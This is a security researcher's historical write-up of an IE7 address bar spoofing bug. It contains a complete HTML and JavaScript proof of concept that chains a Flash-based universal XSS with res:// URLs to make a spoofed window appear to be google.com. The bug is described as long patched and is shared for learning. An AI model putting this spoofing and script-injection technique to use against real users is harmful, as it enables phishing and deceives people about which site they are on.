I noticed that when IE7 opened a res:// protocol URL like res://ieframe.dll/dnserrordiagoff.htm#http://www.google.com, it would rewrite the address bar to show only the fragment — http://www.google.com — making the user believe they were on Google. This demo chains a Flash-based UXSS to set it up, but the core spoofing behavior was independent of that.

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">
<HTML><HEAD><TITLE>Address Bar Spoofing with the Help of the Res Protocol</TITLE></HEAD>
<BODY>
<FONT FACE="Tahoma" SIZE="2">
Here's a DEMO of an IE7 AddressBar Spoof. Yes, in order to load a <B>different</B> page or content, you need any xDomain to access the RES
protocol. But I think IE should not rewrite the AddressBar when a user manually goes to a RES protocol.<BR><BR>
To be clear, if you open a Window with this address <A HREF="res://ieframe.dll/dnserrordiagoff.htm#http://www.google.com" TARGET="_blank">res://ieframe.dll/dnserrordiagoff.htm#<B>http://www.google.com</B></A> IE will end
up showing you just the last part: <A HREF="http://www.google.com" TARGET="_blank">http://www.google.com</A>.<B>
So it's easy to fool the user making him believe he's on a page he is not.
</FONT>
<BR><BR>
<object ID="daFlash" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://fpdownload.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=6,0,0,0" width="1" height="1"><param name="movie" value="flashtest.swf"/></object>
<IFRAME NAME="myTarget" ID="myTargetID" STYLE="display:none" WIDTH="400" HEIGHT="200" SRC="res://ieframe.dll/dnserrordiagoff.htm#http://www.google.com"></IFRAME>
<SCRIPT LANGUAGE="JavaScript">
function loadTrickyFlash(){
	//	Make sure that the Flash is loaded before writing variables.
	if (document.all.daFlash.readyState==4){
		document.all.daFlash.setVariable('URL','javascript:void(top.opener=document)');
		document.all.daFlash.setVariable('TARGET','myTarget');
		setTimeout('top.opener.body.innerHTML=\'.<SCRIPT DEFER>window.open("javascript:void(opener.top.opener=document)","xWin")<\/SCRIPT>\';',500);
		setTimeout('window.opener.body.innerHTML="This is the RES Protocol with the addressBar spoofed.<BR><BR>res://ieframe.dll/dnserrordiagoff.htm#<B>http://www.google.com</B>"',1000);
		//	Because the .swf is waiting for those variables, as soon as it receive them, it will do a getURL with those values
		//	using the POST Method. If we try with GET, it won't work.
		//	This is the line of code that the Flash runs: getURL(URL [Javascript], TARGET [The IFRAME], "POST");
	}
	else setTimeout('loadTrickyFlash()',100);
}
function openSpoofedWindow(){
	window.myWin=window.open("res://ieframe.dll/dnserrordiagoff.htm#http://www.google.com","xWin");
	setTimeout("loadTrickyFlash();",1000);
}
</SCRIPT>
<CENTER>
<INPUT TYPE="BUTTON" ONCLICK="openSpoofedWindow()" VALUE="Click here to open the Spoofed Window">
</CENTER>

</BODY>
</HTML>

The res:// protocol is used to load IE’s internal resource files. When the URL fragment is a full http:// URL, IE’s DNS error page renders the external URL while showing only the fragment in the address bar. Combining this with the Flash POST-method UXSS to inject content into the spoofed window completes the phishing scenario. This entry also contains compiled Flash artifacts that are not included here.

Found during my years at Microsoft (2006–2014). These bugs were patched long ago — shared here as a historical record for learning purposes.